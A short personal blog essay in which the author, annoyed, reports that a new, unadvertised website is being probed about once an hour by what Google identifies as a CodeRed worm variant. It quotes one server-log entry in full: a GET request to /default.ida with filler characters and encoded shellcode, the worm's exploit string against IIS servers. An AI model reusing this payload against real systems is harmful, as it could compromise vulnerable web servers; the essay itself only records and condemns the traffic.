You can run, but I guess you can't hide.

The belief in a supernatural source of evil is not necessary; men alone are quite capable of every wickedness.

Joseph Conrad

This site has been online for less than two weeks; to the best of my knowledge, it isn't publically advertised anywhere.

You can imagine that I was a little bit surprised to discover entries like the following in my server log:

GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X%u9090%u6858%ucbd3%u7801%u9090%u6858%uc
bd3%u7801%u9090%u6858%ucbd3%u7801%u9090%
u9090%u8190%u00c3%u0003%u8b00%u531b%u53f
f%u0078%u0000%u00=a

They're coming from all over, at a rate of a little more than one an hour.

It didn't take Google very long to tell me that this is some variant of the CodeRed virus. I knew it existed, of course, but I'd never paid it any mind. There's no Windows software around here for it to infect. I'll admit a mild curiosity about why a GET of the form above should spread a virus, but not enough curiosity to go and find out.

Malicious bastards.

There are no comments on this essay.
Add a comment or subscribe to (existing and future) comments on this essay.
Name:
Email*:
 *Please provide your real email address; it will not be displayed as part of the comment.
Homepage:
Comment**:
 **The following markup may be used in the body of the comment: a, abbr, b, br, code, em, i, p, pre, strong, and var. You can also use character entities. Any other markup will be discarded, including all attributes (except href on a). Your tag soup will be sanitized...